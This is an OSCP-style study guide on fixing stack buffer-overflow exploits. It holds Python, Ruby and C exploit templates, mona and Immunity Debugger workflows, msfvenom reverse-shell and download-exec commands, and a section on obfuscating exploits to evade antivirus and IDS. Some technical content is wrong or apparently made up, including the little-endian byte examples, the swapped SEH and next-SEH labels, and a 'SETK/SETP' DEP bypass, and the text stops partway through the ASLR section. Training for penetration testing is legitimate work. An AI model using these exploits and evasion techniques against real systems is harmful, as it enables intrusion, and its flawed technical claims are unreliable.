Domain 3Exploit Dev & AV EvasionCORE

Fixing Exploits

Study notes for Fixing Exploits covering key PEN-200 methodology and lab techniques.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-05
#Fixing Exploits#PEN-200

OSCP Study Guide: Fixing Exploits

Module 10 — The most critical skill for OSCP success. You will rarely find an exploit that works out-of-the-box. This chapter teaches you how to read, understand, modify, and debug exploits until they work.


Table of Contents

  1. Why Exploits Fail
  2. Reading and Understanding Exploit Code
  3. Common Exploit Components
  4. Mona.py Framework
  5. Immunity Debugger Usage
  6. Finding the Correct Offset
  7. Finding Bad Characters
  8. Identifying Jump Addresses
  9. Module Selection Criteria
  10. Adapting Exploits for Different Targets
  11. Shellcode Generation with msfvenom
  12. Obfuscation Techniques
  13. Exploit Modification Patterns
  14. Testing and Debugging
  15. Bypassing DEP and ASLR
  16. RET2LIBC and ROP Chains
  17. Quick Reference Tables

1. Why Exploits Fail

Common Reasons

Reason Description Frequency
Wrong offset The cycle string offset doesn’t match the target version Very High
Bad characters Shellcode contains bytes the application filters out Very High
Wrong module The return address module is missing, updated, or protected High
ASLR enabled Address randomization makes module addresses unreliable High
DEP enabled Data Execution Prevention blocks shellcode execution Medium
Wrong encoding Shellcode encoding introduces bad characters Medium
Network issues Wrong LHOST, port blocked, or firewall interference Medium
EIP not controlled The vulnerability doesn’t allow EIP overwrite Low
SEH overwrite Exception handler overwrites instead of EIP Low

The Exploit Fixing Mindset

graph TD
    A[Exploit Fails] --> B{Does target crash?}
    B -->|No| C[Check network / service running]
    B -->|Yes| D{Can we control EIP?}
    D -->|No| E[Try different input / larger buffer]
    D -->|Yes| F{Is offset correct?}
    F -->|No| G[Recalculate offset with pattern_offset]
    F -->|Yes| H{Are there bad chars?}
    H -->|Yes| I[Find and encode around bad chars]
    H -->|No| J{Is module stable?}
    J -->|No| K[Find new module without ASLR/DEP]
    J -->|Yes| L{Does shellcode execute?}
    L -->|No| M[Check NOP sled / encoding / SEH]
    L -->|Yes| N[Shell obtained!]
    C --> A
    E --> A
    G --> F
    I --> H
    K --> J
    M --> L

Key Principle

An exploit is a starting point, not a finished product. Every target environment is unique. Your job is to adapt.


2. Reading and Understanding Exploit Code

Python Exploit Structure

Most OSCP exploits are written in Python. Here is the anatomy:

#!/usr/bin/python

# ============================================
# SECTION 1: Imports
# ============================================
import socket, sys, time, struct

# ============================================
# SECTION 2: Configuration
# ============================================
host = "192.168.1.100"       # Target IP
port = 21                     # Target port
rhost = "192.168.1.50"       # Attacker IP (for reverse shell)

# ============================================
# SECTION 3: Payload Construction
# ============================================
# The buffer overflow structure:
# [Offset/Filler] [EIP/Return Address] [NOP Sled] [Shellcode]

offset = "A" * 2003          # Fill to reach EIP
eip = "\x41\x41\x41\x41"     # Overwrite EIP (will be replaced)
nops = "\x90" * 16           # NOP sled
shellcode = ""               # msfvenom payload (will be filled)
padding = "\x90" * (500 - len(shellcode))  # Additional padding

# ============================================
# SECTION 4: Buffer Assembly
# ============================================
buffer = b"USER " + offset.encode() + b"\r\n"
# OR for other protocols:
# buffer = b"OVERFLOW " + offset.encode() + eip.encode() + nops.encode() + shellcode.encode() + padding.encode()

# ============================================
# SECTION 5: Network Delivery
# ============================================
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.recv(1024)              # Receive banner
    s.send(buffer)            # Send the exploit
    s.close()
    print("[+] Exploit sent!")
except Exception as e:
    print(f"[-] Error: {e}")

Ruby Exploit Structure

#!/usr/bin/ruby

require 'socket'

# Configuration
host = '192.168.1.100'
port = 21

# Payload construction
offset = 'A' * 2003
eip = [0x7c806ba6].pack('V')   # Little-endian return address
nops = '\x90' * 16
shellcode = ""                  # Fill with msfvenom output
padding = '\x90' * (500 - shellcode.length)

buffer = "USER #{offset}\r\n"
# OR
# buffer = "OVERFLOW #{offset}#{eip}#{nops}#{shellcode}#{padding}\r\n"

# Delivery
begin
  tcp = TCPSocket.open(host, port)
  tcp.gets                    # Receive banner
  tcp.puts(buffer)            # Send exploit
  tcp.close
  puts "[+] Exploit sent!"
rescue => e
  puts "[-] Error: #{e.message}"
end

C Exploit Structure (Less Common)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

int main(int argc, char *argv[]) {
    SOCKET s;
    struct sockaddr_in victim;
    char *buffer;
    int offset_len = 2003;

    // Allocate buffer
    buffer = (char*)malloc(offset_len + 1000);

    // Fill offset
    memset(buffer, 0x41, offset_len);

    // Fill EIP (big-endian in memory stores little-endian)
    *(DWORD*)(buffer + offset_len) = 0x41414141;

    // Fill NOP sled
    memset(buffer + offset_len + 4, 0x90, 16);

    // Fill shellcode
    // memcpy(buffer + offset_len + 20, shellcode, shellcode_len);

    // Connect and send
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);
    s = socket(AF_INET, SOCK_STREAM, 0);
    victim.sin_family = AF_INET;
    victim.sin_port = htons(21);
    victim.sin_addr.s_addr = inet_addr("192.168.1.100");

    connect(s, (struct sockaddr*)&victim, sizeof(victim));
    send(s, buffer, strlen(buffer), 0);
    closesocket(s);
    WSACleanup();
    return 0;
}

Code Reading Checklist

Element What to Look For Why It Matters
host / rhost Target vs attacker IPs Must match your lab
port Service port Must match the vulnerable service
offset / buffer Size and content Determines EIP control point
eip / return address Hex values, endianness Must point to valid JMP/POP address
nops / NOP sled Size of \x90 sequence Bridges gap to shellcode
shellcode msfvenom output format Must avoid bad characters
badchars Listed or commented Must be excluded from shellcode
Protocol commands USER, OVERFLOW, etc. Must match the vulnerable command
Encoding encode(), pack(), etc. Python 2 vs 3 compatibility

3. Common Exploit Components

3.1 Buffer Overflow Structure

The classic stack-based buffer overflow layout in memory:

┌─────────────────────────────────────────────────────────┐
│                    Stack (grows down)                    │
├─────────────────────────────────────────────────────────┤
│ Higher Addresses                                         │
│                                                          │
│  ┌──────────────────────┐                                │
│  │     Saved EBP        │                                │
│  ├──────────────────────┤                                │
│  │     Return Address   │ ← EIP gets overwritten here   │
│  ├──────────────────────┤                                │
│  │     Local Buffer     │ ← Our overflow data lands here│
│  │  (overflow target)   │                                │
│  └──────────────────────┘                                │
│                                                          │
│ Lower Addresses                                          │
└─────────────────────────────────────────────────────────┘

Our Exploit Buffer Layout

┌──────────────┬──────────────┬──────────────┬──────────────┐
│   Offset     │   EIP / RET  │  NOP Sled    │  Shellcode   │
│  (Filler)    │ (Return Addr)│              │              │
│  "A" * 2003  │  \x41\x41... │ "\x90"*16    │ msfvenom     │
│              │              │              │ payload      │
└──────────────┴──────────────┴──────────────┴──────────────┘
     Fills up       Overwrites    Slows CPU       Executes
     to EIP         with our      execution       our payload
                    control       to find         (reverse
                    address                       shell)
graph LR
    A[Offset / Filler] -->|Fills buffer until| B[EIP / Return Address]
    B -->|Overwritten with| C[JMP/POP/CALL address]
    C -->|Jumps back to| D[NOP Sled]
    D -->|Slides into| E[Shellcode]
    E -->|Executes| F[Reverse Shell]

3.2 NOP Sled

NOP = No Operation (0x90 in x86)

Aspect Detail
Purpose Increases hit area for shellcode
Byte value \x90
Typical size 16-500 bytes
How it works CPU slides through NOPs until it hits real instructions
Why needed Return address may not land exactly on shellcode
Memory:  ... \x90 \x90 \x90 \x90 \x90 \x90 [SHELLCODE STARTS HERE] ...
                          ↑
                  EIP lands anywhere
                  in the NOP region
                  and slides right
                  into shellcode

3.3 Shellcode

Property Description
Definition Position-independent machine code
Purpose Payload that executes on the target
Common types Reverse TCP, Bind TCP, Meterpreter, Exec
Architecture Must match target (x86, x64)
Bad chars Bytes that break the payload — must be avoided
Encoding Used to transform shellcode to avoid bad chars

3.4 Return Addresses

Concept Detail
EIP Extended Instruction Pointer — controls code execution flow
Little-endian x86 stores multi-byte values reversed in memory
Example Address 0x7c806ba6 → stored as \x41\xba\x80\x7c
Source Found in stable, non-ASLR modules
Instructions Look for JMP ESP, CALL ESP, POP/POP/RET

Endianness Explained

Address:  0x7c806ba6

Memory storage (little-endian):
┌─────────┬─────────┬─────────┬─────────┐
│ 0x7c    │ 0x80    │ 0xba    │ 0x6a    │
│ (low)   │         │         │ (high)  │
└─────────┴─────────┴─────────┴─────────┘

In exploit code:  "\x6a\xba\x80\x7c"

3.5 Offsets and Cycle Strings

Tool Purpose
pattern_create.rb Generates unique pattern of specified length
pattern_offset.rb Finds position of a 4-byte value in the pattern
mona Alternative: !mona pc and !mona po

Why cycle strings?

Each 4-byte segment is unique. When EIP gets overwritten with a unique 4-byte value from the pattern, we can look up exactly where that value starts — giving us the precise offset.


4. Mona.py Framework

Installation

1. Download mona.py from GitHub
2. Place in Immunity Debugger plugin directory:
   C:\Program Files\Immunity Inc\Immunity Debugger\pycommands\
3. Restart Immunity Debugger
4. Verify: Type !mona in the command line

Essential Mona Commands

Command Description Output
!mona config -set workingfolder c:\mona\%p Set working directory Configures output location
!mona pc <length> Create pattern pattern.txt in working folder
!mona po <eip_value> Find pattern offset Prints offset number
!mona findmsp Find spray distance Shows offset, EIP, SEH info
!mona compare -f <file> -a <addr> Compare memory to file Finds shellcode in memory
!mona modules List loaded modules Module table with protections
!mona mod -n <name> Details of specific module Full module info
!mona find -s "jmp esp" -m <module> Find instructions JMP/CALL addresses
!mona find -s "\xff\xe4" -m <module> Find raw bytes Raw instruction search
!mona bytearray -b "\x00" Generate byte array For bad char testing
!mona bs <address> Find bad characters Compares memory to original
!mona suggest Suggest gadgets ROP gadgets, egg hunters
!mona got -m <module> GOT table For GOT overwrite attacks
!mona jmp -r esp -m <module> Find JMP ESP Quick JMP ESP search
!mona noaslr List non-ASLR modules Modules safe for exploitation
!mona dep Check DEP status DEP configuration info

Mona Workflow Diagram

flowchart TD
    A[!mona config] --> B[!mona pc 3000]
    B --> C[Copy pattern to exploit]
    C --> D[Crash target]
    D --> E[!mona findmsp]
    E --> F[!mona po <EIP value>]
    F --> G[Get exact offset]
    G --> H[!mona bytearray -b \\x00]
    H --> I[Insert bytearray as shellcode]
    I --> J[Crash target again]
    J --> K[!mona bs <shellcode_addr>]
    K --> L[Identify bad characters]
    L --> M[!mona modules]
    M --> N[Select good module]
    N --> O[!mona find -s jmp esp -m module]
    O --> P[Get return address]
    P --> Q[Build final exploit]

5. Immunity Debugger Usage

Setup for Remote Debugging

graph LR
    A[Kali / Attacker] <-->|Script Server| B[Target VM]
    B <-->|Debug Port 9999| C[Immunity Debugger]
    A -->|Exploit| B

Step-by-Step Setup

  1. On the target machine:

    • Copy immunity_debugger.exe and server.exe to the target
    • Start the script server:
      server.exe -p 9999 -y
  2. On your analysis machine:

    • Open Immunity Debugger
    • File → Remote
    • Enter target IP and port 9999
    • Click OK to connect
  3. Attach to the process:

    • Debug → Attach
    • Select the vulnerable process
    • The debugger will pause execution

Essential Debugger Controls

Control Shortcut Purpose
Run F9 Continue execution
Step Over F8 Execute current instruction
Step Into F7 Step into function calls
Break Ctrl + C Pause execution
Reset Ctrl + R Reset the debugger
Find Address Ctrl + G Go to memory address
Dump Window - View memory contents
Stack Window - View stack contents
Register Window - View register values

Key Registers to Watch

Register Purpose in Exploitation
EIP Instruction pointer — our main target
ESP Stack pointer — points to current stack top
EBP Base pointer — frame reference
EAX, EBX, ECX, EDX General purpose — may hold data

Reading the Crash

When the target crashes in Immunity:

  1. Check EIP — Is it overwritten with our pattern?
  2. Check ESP — Where does the stack point?
  3. Right-click ESP → Follow in Dump — See our buffer data
  4. Note the crash instruction — What caused the exception?

6. Finding the Correct Offset

Method 1: Using pattern_create / pattern_offset (Metasploit)

# Step 1: Generate a unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# Output example:
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5...

# Step 2: Put this pattern as the buffer in your exploit
# Run the exploit against the target

# Step 3: Note the EIP value from Immunity Debugger
# Example: EIP = 39694438

# Step 4: Find the offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
# OR with hex:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x39694438

# Output:
# [*] Exact match at offset 2003

Method 2: Using Mona

# In Immunity Debugger command line:

# Step 1: Create pattern
!mona pc -l 3000

# Step 2: Copy pattern from c:\mona\<process>\pattern.txt
# Put it in your exploit and crash the target

# Step 3: Find the offset
!mona po 0x39694438

# Output:
# [+] '0x39694438' found at offset 2003

Method 3: Using findmsp (Quick Check)

!mona findmsp

# Output example:
# Normal crash:
#   - Distance to current EIP: 2003 bytes
#   - Distance to current ESP: 2003 bytes
#   - Distance to current SEH: 5000 bytes

Verifying the Offset

After finding the offset, verify with a test pattern:

# Test pattern:
# [A * offset][B * 4][C * rest]

offset = "A" * 2003    # Fill to EIP
eip = "B" * 4          # Should land in EIP
padding = "C" * 500    # Rest of buffer

buffer = offset + eip + padding

Expected result in Immunity:

  • EIP should contain 0x42424242 (BBBB)
  • If EIP shows BBBB → offset is correct
  • If EIP shows something else → offset is wrong

Offset Troubleshooting

Symptom Cause Fix
EIP = AAAA Offset too small Increase offset
EIP = CCCC Offset too large Decrease offset
EIP = mixed Pattern not unique enough Use longer pattern
No crash Buffer too small Increase total buffer size
Crash but no EIP control Different vuln type Try SEH overwrite

7. Finding Bad Characters

What Are Bad Characters?

Bad characters are byte values that get modified, filtered, or terminated by the application before reaching memory.

Default Bad Character Set

\x00  - Null byte (string terminator) — ALWAYS a bad character
\x0a  - Line feed (newline)
\x0d  - Carriage return

Finding Bad Characters with Mona

flowchart TD
    A[Generate bytearray] --> B[!mona bytearray -b \\x00]
    B --> C[Copy bytearray to exploit]
    C --> D[Crash target]
    D --> E[Find shellcode in memory]
    E --> F[!mona find -s \\x90\\x90\\x90\\x90\\x90\\x90 -m module]
    F --> G[Note the address]
    G --> H[!mona bs <address>]
    H --> I[Review bad chars found]
    I --> J{Any new bad chars?}
    J -->|Yes| K[Remove from -b list, repeat]
    J -->|No| L[Bad char list complete]
    K --> B

Step-by-Step Process

Step 1: Generate byte array (excluding known bad chars)

!mona bytearray -b "\x00" -cpb "\x00"

This creates bytearray.txt containing all bytes from \x01 to \xff.

Step 2: Add to exploit

# Read the bytearray
bytearray = open("bytearray.txt", "rb").read()

buffer = offset + eip + bytearray

Step 3: Crash and find the bytearray in memory

# Find where our data landed
!mona find -s "\x01\x02\x03\x04\x05\x06" -m <module>

# Or search for a unique sequence
!mona find -s "\x41\x42\x43\x44\x45\x46" -m <module>

Step 4: Compare to find bad characters

!mona bs <address_from_step_3>

Step 5: Review results

# Output example:
# [+] Analysis of 'bytearray' vs memory @ 0x01234567
# [+] Found 3 bad characters:
#     \x00 - null byte
#     \x0a - line feed
#     \x0d - carriage return

Iterative Bad Character Testing

Round Excluded Bytes New Bad Chars Found Cumulative Bad Chars
1 \x00 \x0a, \x0d \x00, \x0a, \x0d
2 \x00, \x0a, \x0d \x26 \x00, \x0a, \x0d, \x26
3 \x00, \x0a, \x0d, \x26 None Final: \x00, \x0a, \x0d, \x26

Common Bad Characters by Protocol

Protocol Common Bad Characters
FTP (USER/PASS) \x00, \x0a, \x0d
HTTP \x00, \x20, \x0a, \x0d
TFTP \x00
SIP \x00, \x0a, \x0d, \x20
Custom binary Varies — always test

8. Identifying Jump Addresses

What We Need

We need a memory address that contains an instruction to jump to our shellcode. The ideal instructions:

Instruction Opcode Why It Works
JMP ESP \xFF\xE4 Jumps to wherever ESP points (our shellcode)
CALL ESP \xFF\xD4 Calls ESP, returns later
JMP EAX \xFF\xE0 If we control EAX
CALL EAX \xFF\xD0 If we control EAX
POP/POP/RET — For SEH overwrites

Finding JMP ESP with Mona

# Search in a specific module
!mona find -s "\xff\xe4" -m vulnmodule.dll

# Search for JMP ESP specifically
!mona jmp -r esp -m vulnmodule.dll

# Search all non-ASLR modules
!mona noaslr
!mona jmp -r esp

Output Example

[+] "JMP ESP" candidates in vulnmodule.dll
    0x625011af : jmp esp.   (1 nops)
    0x625012a4 : jmp esp.   (2 nops)
    0x625013b7 : jmp esp.   (no null bytes)

Selecting the Best Address

Criteria Good Bad
No null bytes (\x00) 0x625013b7 0x00401234
No bad characters Address bytes not in bad char list Contains \x0a or \x0d
Stable module No ASLR, no DEP ASLR enabled
Write executable WX or X permissions Non-executable

Converting to Exploit Format

Address: 0x625013b7

Little-endian for exploit:
"\xb7\x13\x50\x62"

In Python:
eip = "\xb7\x13\x50\x62"

In Ruby:
eip = [0x625013b7].pack('V')

Alternative: Using ESP Directly

If you can’t find JMP ESP, check what ESP points to after the crash:

1. Crash the target with offset + BBBB + CCCC...
2. In Immunity, note ESP value
3. Right-click ESP → Follow in Dump
4. If your 'C' characters are there, ESP points to your buffer
5. Use any address with JMP ESP that points to this region

9. Module Selection Criteria

The Module Checklist

!mona modules

Module Evaluation Table

Property Safe for Exploitation Unsafe — Avoid
ASLR Disabled Enabled
DEP Disabled Enabled
SafeSEH Disabled Enabled
Rebase False True
Signature None Signed

Understanding Each Protection

ASLR (Address Space Layout Randomization)

Aspect Detail
Purpose Randomizes module load addresses
Effect Module addresses change on each run
Exploit impact Return addresses become unreliable
How to check !mona modules — look at ASLR column
Solution Use non-ASLR modules

DEP (Data Execution Prevention)

Aspect Detail
Purpose Marks data pages as non-executable
Effect Shellcode on stack/heap won’t execute
Exploit impact Standard shellcode fails
How to check !mona modules — look at DEP column
Solution Use non-DEP modules, RET2LIBC, or ROP

SafeSEH (Safe Exception Handlers)

Aspect Detail
Purpose Validates SEH chain entries
Effect Only registered handlers are valid
Exploit impact SEH overwrites fail
How to check !mona modules — look at SafeSEH column
Solution Use non-SafeSEH modules or EIP overwrite

Module Selection Process

flowchart TD
    A[!mona modules] --> B{Any non-ASLR modules?}
    B -->|No| C[All modules randomized]
    C --> D[Consider info leak / other technique]
    B -->|Yes| E{Non-DEP?}
    E -->|No| F[Module has DEP]
    F --> G[Consider RET2LIBC / ROP]
    E -->|Yes| H{Non-SafeSEH?}
    H -->|No| I[Cannot use SEH overwrite]
    I --> J[Use EIP overwrite instead]
    H -->|Yes| K[Module is safe to use!]
    K --> L[!mona find -s jmp esp -m module]

Ideal Module Characteristics

Module: vulnapp.dll
Path: C:\Program Files\VulnApp\vulnapp.dll
ASLR: Disabled          ✅
DEP: Disabled           ✅
SafeSEH: Disabled       ✅
Rebase: False           ✅
Signature: None         ✅

10. Adapting Exploits for Different Targets

Target Adaptation Checklist

Step Action Command / Method
1 Change host / rhost Edit exploit variables
2 Verify service is running nmap -p <port> <target>
3 Recalculate offset New pattern_create + pattern_offset
4 Find bad characters New bytearray test
5 Find new module !mona modules on new target
6 Find new JMP address !mona find -s jmp esp -m module
7 Regenerate shellcode msfvenom with new bad chars
8 Test and iterate Crash → debug → fix

Port Modification

# Change the target port
port = 21       # FTP default
port = 23       # Telnet
port = 80       # HTTP
port = 5060     # SIP
port = 69       # TFTP (UDP - different approach!)

LHOST / RHOST Changes

# In the exploit script
host = "192.168.1.100"    # Target machine (victim)
rhost = "192.168.1.50"    # Your machine (listener)

# In msfvenom
LHOST=192.168.1.50        # Your IP (reverse shell callback)
RHOST=192.168.1.100       # Target IP (bind shell target)

Common Port Reference

Service Default Port Protocol
FTP 21 TCP
Telnet 23 TCP
HTTP 80 TCP
HTTPS 443 TCP
TFTP 69 UDP
SIP 5060 UDP/TCP
MSSQL 1433 TCP
Oracle 1521 TCP
VNC 5900 TCP

11. Shellcode Generation with msfvenom

Basic msfvenom Commands

# Reverse TCP shell (most common)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=443 -f python -b "\x00\x0a\x0d"

# Reverse TCP (simpler, smaller)
msfvenom -p windows/shell/reverse_tcp LHOST=<your_ip> LPORT=443 -f python -b "\x00\x0a\x0d"

# Bind TCP shell
msfvenom -p windows/shell/bind_tcp LPORT=4444 -f python -b "\x00\x0a\x0d"

# Execute a command
msfvenom -p windows/exec CMD="cmd.exe" -f python -b "\x00\x0a\x0d"

msfvenom Options Reference

Option Description Example
-p Payload windows/meterpreter/reverse_tcp
-f Output format python, ruby, c, raw, powershell
-b Bad characters "\x00\x0a\x0d"
-e Encoder shikata_ga_nai, x86/shikata_ga_nai
-i Encoder iterations 3, 5, 9
LHOST Listener IP 192.168.1.50
LPORT Listener port 443
RHOST Remote host (bind) 192.168.1.100
EXITFUNC Exit method thread, process
-a Architecture x86, x64
--platform Platform windows, linux
-n NOP sled 32

Common Payloads

Payload Size Use Case
windows/shell/reverse_tcp Small Simple reverse shell
windows/meterpreter/reverse_tcp Medium Full Meterpreter session
windows/shell/bind_tcp Small Bind shell (no outbound needed)
windows/exec Small Execute single command
windows/download_exec Medium Download and run file

Encoder Options

Encoder Reliability Size Impact Notes
shikata_ga_nai High Moderate Most reliable encoder
x86/shikata_ga_nai High Moderate Same as above
x86/cjk Medium Small Asian character encoding
x86/unicode_mixed Medium Small Unicode encoding
x86/countdown Low Small Unreliable, avoid

Encoding Shellcode

# With encoder and iterations
msfvenom -p windows/shell/reverse_tcp \
  LHOST=192.168.1.50 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 \
  -b "\x00\x0a\x0d" \
  -f python

# Output format for Python:
# shellcode = ""
# shellcode += "\xd9\xeb\xxx\xxx..."

Handling Encoding Issues

Problem Solution
Encoder introduces bad chars Increase iterations or try different encoder
Shellcode too large Use smaller payload or reduce iterations
Encoding fails Remove bad char constraints and test manually
Still crashes Try windows/shell/reverse_tcp (smaller)

12. Obfuscation Techniques

Why Obfuscate?

Reason Description
IDS/IPS evasion Avoid signature-based detection
Antivirus bypass Prevent static analysis detection
Homework requirements OSCP requires obfuscated exploits
Professional practice Real-world engagements need stealth

String Obfuscation Techniques

Technique 1: Hex Encoding

# Before (plain text)
buffer = "OVERFLOW " + payload

# After (hex encoded)
cmd = "4f564552464c4f5720"  # "OVERFLOW " in hex
buffer = bytes.fromhex(cmd) + payload

Technique 2: Base64 Encoding

import base64

# Before
buffer = "USER " + offset + "\r\n"

# After
cmd = base64.b64decode("VVNFUiA=")  # "USER "
buffer = cmd + offset.encode() + b"\r\n"

Technique 3: Character Code Construction

# Before
buffer = "OVERFLOW "

# After
buffer = bytes([79, 87, 69, 82, 70, 76, 79, 87, 32])  # ASCII values

Technique 4: XOR Encoding

# XOR encode with a key
key = 0xAA
plaintext = b"OVERFLOW "
encoded = bytes([b ^ key for b in plaintext])

# In exploit, decode before sending
decoded = bytes([b ^ key for b in encoded])
buffer = decoded + payload

Technique 5: String Concatenation

# Before
buffer = "OVERFLOW " + payload

# After
part1 = "O" + "V" + "E"
part2 = "R" + "F" + "L"
part3 = "O" + "W" + " "
buffer = (part1 + part2 + part3).encode() + payload

Payload Obfuscation

Technique 1: Variable Renaming

# Before (obvious)
host = "192.168.1.100"
port = 21
shellcode = ""
buffer = ""

# After (obfuscated)
t = "192.168.1.100"
p = 21
s = ""
b = ""

Technique 2: IP Address Obfuscation

# Before
host = "192.168.1.100"

# After
import socket, struct
host = socket.inet_ntoa(struct.pack('<I', 0x6401a8c0))
# OR
host = ".".join(["192", "168", "1", "100"])

Technique 3: Port Obfuscation

# Before
port = 21

# After
port = 0x15          # Hex
port = 0o25          # Octal
port = 16 + 5        # Arithmetic

Complete Obfuscated Exploit Example

#!/usr/bin/python
# Obfuscated exploit example

import socket
import struct
import base64

# Obfuscated target info
t = socket.inet_ntoa(struct.pack('<I', 0x6401a8c0))  # 192.168.1.100
p = 0x15                                              # 21

# Obfuscated command
c = base64.b64decode("VVNFUiA=").decode()             # "USER "

# Obfuscated offset
o = b"\x41" * 2003

# Obfuscated EIP
e = bytes([0xb7, 0x13, 0x50, 0x62])                  # 0x625013b7

# Obfuscated NOP sled
n = b"\x90" * 16

# Shellcode (would be msfvenom output, obfuscated)
s = bytes([
    0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
    0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b,
    # ... rest of shellcode
])

# Assemble buffer
b = c.encode() + o + e + n + s

# Send
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((t, p))
    s.recv(1024)
    s.send(b)
    s.close()
except Exception as e:
    pass

Obfuscation Level Guide

Level Techniques Detection Risk
Basic Variable renaming Low reduction
Medium Hex encoding + renaming Medium reduction
Advanced XOR + base64 + arithmetic High reduction
Expert Multi-layer encoding + anti-analysis Very high reduction

13. Exploit Modification Patterns

Python Exploit Modification Patterns

Pattern 1: Changing the Offset

# Original
offset = "A" * 2003

# Modified (new offset found)
offset = "A" * 1506

Pattern 2: Changing the Return Address

# Original
eip = "\x41\x41\x41\x41"

# Modified (new JMP ESP found)
eip = "\xb7\x13\x50\x62"  # 0x625013b7 in little-endian

Pattern 3: Adding Bad Character Handling

# Original shellcode (may contain bad chars)
shellcode = "\xfc\xe8\x82\x00\x00\x00..."

# Modified (regenerated with msfvenom excluding bad chars)
# msfvenom -p windows/shell/reverse_tcp LHOST=x LPORT=x -b "\x00\x0a\x0d" -f python
shellcode = ""
shellcode += "\xd9\xeb\xxx\xxx..."  # Encoded, no bad chars

Pattern 4: Python 2 to Python 3 Compatibility

# Python 2
buffer = "A" * 2003 + "\x41\x41\x41\x41"

# Python 3 (bytes vs strings)
buffer = b"A" * 2003 + b"\x41\x41\x41\x41"
# OR
buffer = "A" * 2003
buffer += "\x41\x41\x41\x41"
buffer = buffer.encode('latin-1')  # For sending

Pattern 5: SEH Overwrite Pattern

# SEH overwrite structure:
# [Filler] [SEH Override] [Next SEH] [Padding] [Shellcode]

nseh = "\x41\x41\x41\x41"           # SEH handler (overwritten)
seh = "\x6a\x12\x50\x62"            # Next SEH (POP POP RET)
padding = "\x90" * 8                # Small NOP sled
shellcode = ""                      # Shellcode

buffer = "A" * <offset_to_seh> + nseh + seh + padding + shellcode

Ruby Exploit Modification Patterns

Pattern 1: Pack Address

# Original
eip = "\x41\x41\x41\x41"

# Modified
eip = [0x625013b7].pack('V')  # Little-endian 32-bit

Pattern 2: Shellcode in Ruby

# msfvenom output format for Ruby
shellcode = ""
shellcode += "\xd9\xeb\xxx\xxx..."

# OR as array
shellcode = [
  0xd9, 0xeb, 0x55, 0x74, 0x38, 0x55,
  # ...
].pack('C*')

Common Modification Scenarios

Scenario What to Change Where
New target IP host variable Top of script
New attacker IP rhost / LHOST Script + msfvenom
Different port port variable Top of script
New offset offset multiplication Buffer construction
New return addr eip hex bytes Buffer construction
New bad chars msfvenom -b flag Shellcode generation
New module !mona find results Return address
SEH instead of EIP Entire buffer layout Restructure exploit

14. Testing and Debugging

Testing Workflow

flowchart TD
    A[Write/Modify Exploit] --> B[Syntax Check]
    B --> C{Syntax OK?}
    C -->|No| D[Fix syntax errors]
    D --> B
    C -->|Yes| E[Run against target]
    E --> F{Target crashes?}
    F -->|No| G[Check connectivity]
    G --> H[Check service running]
    H --> I[Increase buffer size]
    I --> E
    F -->|Yes| J[Attach Immunity Debugger]
    J --> K{EIP controlled?}
    K -->|No| L[Recalculate offset]
    L --> E
    K -->|Yes| M{Shell obtained?}
    M -->|No| N[Check bad chars]
    N --> O[Check module / JMP addr]
    O --> P[Check shellcode encoding]
    P --> E
    M -->|Yes| Q[Success!]

Pre-Flight Checklist

Check Command
Target reachable ping <target>
Port open nmap -p <port> <target>
Service running nc <target> <port>
Script syntax python3 -c "import py_compile; py_compile.compile('exploit.py')"
Listener ready nc -lvnp 443 or rlwrap nc -lvnp 443
Immunity connected Remote connection established
Mona configured !mona config -set workingfolder c:\mona\%p

Debugging Failed Exploits

Symptom 1: No Crash

Possible causes:
1. Wrong port
2. Service not running
3. Buffer too small
4. Wrong protocol command
5. Firewall blocking

Debug steps:
1. Verify with nmap
2. Try manual connection with nc
3. Increase buffer size gradually
4. Check protocol requirements

Symptom 2: Crash but No EIP Control

Possible causes:
1. Offset incorrect
2. Different vulnerability type
3. Input validation

Debug steps:
1. Use pattern_create for precise offset
2. Try different input vectors
3. Check for SEH overwrite instead

Symptom 3: EIP Controlled but No Shell

Possible causes:
1. Bad characters in shellcode
2. Wrong return address
3. Module not loaded
4. DEP/ASLR blocking
5. NOP sled too small

Debug steps:
1. Verify bad characters
2. Confirm JMP ESP address is valid
3. Check module with !mona modules
4. Increase NOP sled size
5. Use !mona compare to verify shellcode in memory

Symptom 4: Connection Refused

Possible causes:
1. Wrong LHOST in shellcode
2. Firewall blocking inbound
3. Wrong port on listener
4. NAT/routing issues

Debug steps:
1. Verify LHOST matches your interface
2. Try different port (443, 80, 8080)
3. Check with tcpdump/wireshark
4. Verify routing

Memory Verification with Mona

# After crash, verify shellcode landed correctly
!mona compare -f c:\mona\<process>\bytearray.txt -a <ESP_address>

# This shows if your shellcode is intact in memory
# Any differences indicate bad characters or corruption

15. Bypassing DEP and ASLR

DEP Bypass Techniques

Understanding DEP

DEP (Data Execution Prevention):
- Marks memory pages as non-executable
- Stack, heap, and data sections = NO EXECUTE
- Code sections = EXECUTE

When DEP is enabled:
- Shellcode on the stack will NOT execute
- Access Violation exception occurs

Technique 1: Use Non-DEP Module

1. !mona modules
2. Find module with DEP = Disabled
3. Use return address from that module
4. Shellcode executes from non-DEP region

Technique 2: SETK / SETP Flags

Some modules have special DEP flags:

SETK (Set Thread Kernel Stack):
- Disables DEP for the current thread
- Look for SetThreadKernelStackBoundingBoxes

SETP (Set Thread Policy):
- Changes DEP policy for the thread
- Look for NtSetInformationThread

Find with Mona:
!mona suggest -m <module>

Technique 3: Heap Spray (Advanced)

1. Allocate large blocks on the heap
2. Heap may be executable
3. Spray NOPs + shellcode across heap
4. Redirect execution to heap

ASLR Bypass Techniques

Understanding ASLR

ASLR (Address Space Layout Randomization):
- Randomizes where modules load in memory
